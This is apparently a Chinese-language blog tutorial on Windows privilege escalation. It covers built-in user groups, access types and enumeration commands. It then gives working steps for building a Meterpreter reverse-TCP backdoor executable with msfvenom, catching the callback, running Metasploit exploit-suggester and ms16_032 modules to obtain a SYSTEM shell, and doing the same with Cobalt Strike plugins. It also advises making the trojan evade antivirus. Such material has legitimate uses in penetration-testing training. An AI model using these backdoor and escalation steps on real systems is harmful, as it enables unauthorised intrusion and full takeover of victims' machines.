Windows权限提升-WIN 全平台
Windows系统内置了许多本地用户组,这些用户组本身都已经被赋予一些权限(permissions),它们具有管理本地计算机或访问本地资源的权限。只要用户账户加入到这些本地组内,这回用户账户也将具备该组所拥有的权限。
普通权限
默认情况下,系统为用户分了7个组,并给每个组赋予不同的操作权限,管理员组(Administrators)、高权限用户组(PowerUsers)、普通用户组(Users)、备份操作组(Backup Operators)、文件复制(Replicator)、来宾用户组(Guests),身份验证用户组(Ahthenticated users)其中备份操作组和文件复制组为维护系统而设置,平时不会被使用。
管理员组拥有大部分的计算机操作权限(并不是全部),能够随意修改删除所有文件和修改系统设置只有程序信任组(特殊权限)。再往下就是高权限用户组,这一部分用户也能做大部分事情,但是不能修改系统设置,不能运行一些涉及系统管理的程序。普通用户组则被系统拴在了自己的地盘里,不能处理其他用户的文件和运行涉及管理的程序等。来宾用户组的文件操作权限和普通用户组一样,但是无法执行更多的程序。身份验证用户组(Ahthenticated users)经过ms验证程序登录的用户均属于此组。
特殊权限
除了上面提到的7个默认权限分组,系统还存在一些特殊权限成员,这些成员是为了特殊用途而设置,分别是:SYSTEM(系统)、Trustedinstaller(信任程序模块)、Everyone(所有人)、CREATOR OWNER(创建者)等,这些特殊成员不被任何内置用户组吸纳,属于完全独立出来的账户。
真正拥有“完全访问权”的只有一个成员:SYSTEM。这个成员是系统产生的,真正拥有整台计算机管理权限的账户,一般的操作是无法获取与它等价的权限的。
“所有人”权限与普通用户组权限差不多,它的存在是为了让用户能访问被标记为“公有”的文件,这也是一些程序正常运行需要的访问权限--任何人都能正常访问被赋予“Everyone”权限的文件,包括来宾组成员。
被标记为“创建者”权限的文件只有建立文件的那个用户才能访问,做到了一定程度的隐私保护。
但是,所有的文件访问权限均可以被管理员组用户和SYSTEM成员忽略,除非用户使用了NTFS加密。
无论是普通权限还是特殊权限,它们都可以“叠加"使用,“叠加”"就是指多个权限共同使用,例如一个账户原本属于Users组,而后我们把他加入Administrators组在加入Trustedinstaller等权限提升,那么现在这个账户便同时拥有两个或多个权限身份,而不是用管理员权限去覆盖原来身份。权限叠加并不是没有意义的,在一些需要特定身份访问的场合,用户只有为自己设置了指定的身份才能访问,这个时候“叠加”的使用就能减轻一部分劳动量了。
需要我们了解的权限如下
后台权限,网站权限,数据库权限,接口权限,系统权限,域控权限等
常见权限获取方法简要归类
后台权限:SQL 注入,数据库备份泄露,默认或弱口令等获取帐号密码进入。
网站权限:后台提升至网站权限,RCE 或文件操作类、反序列化等漏洞直达 Shell。
数据库权限:SQL 注入,数据库备份泄露,默认或弱口令等进入或网站权限获取后转入。
接口权限:SQL 注入,数据库备份泄露,源码泄漏,培植不当等或网站权限获取后转入。
系统权限:高危系统漏洞直达或网站权限提升转入、数据库权限提升转入,第三方转入等。
域控权限:高危系统漏洞直达或内网横向渗透转入,域控其他服务安全转入等。
信息收集命令
systeminfo 打印系统信息
tasklist /svc 显示本地当前正在运行的进程列表,显示每个进程中主持的服务。
whoami 获得当前用户名
whoami /priv 当前帐户权限
ipconfig 网络配置信息
ipconfig /displaydns 显示DNS缓存
route print 打印出路由表
arp -a 打印arp表
hostname 主机名
net user 列出用户
net user UserName 关于用户的信息
net use \SMBPATH Pa$$wOrd /u:UserName 连接SMB
net localgroup 列出所有组
net localgroup GROUp 关于指定组的信息
......
MSF 自动化提权
MSF 生成后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=监听端ip lport=8888 -f exe -o shell.exe
在MSF端创建监听,将后门上传到windows系统下,并执行,msf端收到shell
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 8888
exploit
将后门传入到window系统下,开始执行
msf收到回弹shell,getuid查看为普通权限,先挂起,执行background
EXP模块筛选
use post/windows/gather/enum_patches
set session 1
exploit
此模块半自动化,根据漏洞编号找到系统中安装的补丁
命令操作如图所示:
配合手工的方式进行提权,根据所提供的补丁进行漏洞利用,进行提权。
use post/multi/recon/local_exploit_suggester
set session 1
exploit
此模块全自动化,快速识别系统当中可能被利用的漏洞
此模块注意细节,将showdescription 设置成 true,执行即可,等待结果,选择可利用的模块,进行漏洞利用,即可提权
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set session 1
set lhost 0.0.0.0
set lport 6666
exploit
在开启一个msf,创建监听,进行接受提权后的shell
提权成功,拿到系统最高权限system权限shell
如有杀软情况需进行免杀处理,在信息收集阶段可判断有无杀软存在。
windows提权在线平台:
将在windows当中执行的systeminfo命令回显结果复制到此即可,不需要远程代码执行选项,取消勾选即可。如下图:
配合手工进行提权
CS 插件化 提权
通过cs生成后门,使用插件进行一键提取,非常简单
首先创建监听器,如图:
然后再攻击选项,选择生成后门,windows可执行程序即可,然后再选择刚刚创建的监听器。
将后门传到windows系统当中,并执行。
cs端成功上线:
使用插件简单一键化提权即可,哪个能用用哪个,首先再会话交互处,将延迟设置成0,命令sleep 0,等待为ms毫秒时,在操作。
利用插件提权即可,插件可在github上进行检索,有很多。
提权成功,拿到最高权限system
同样如果遇到杀软,需要对木马进行免杀处理。
文章不妥之处,欢迎批评指正!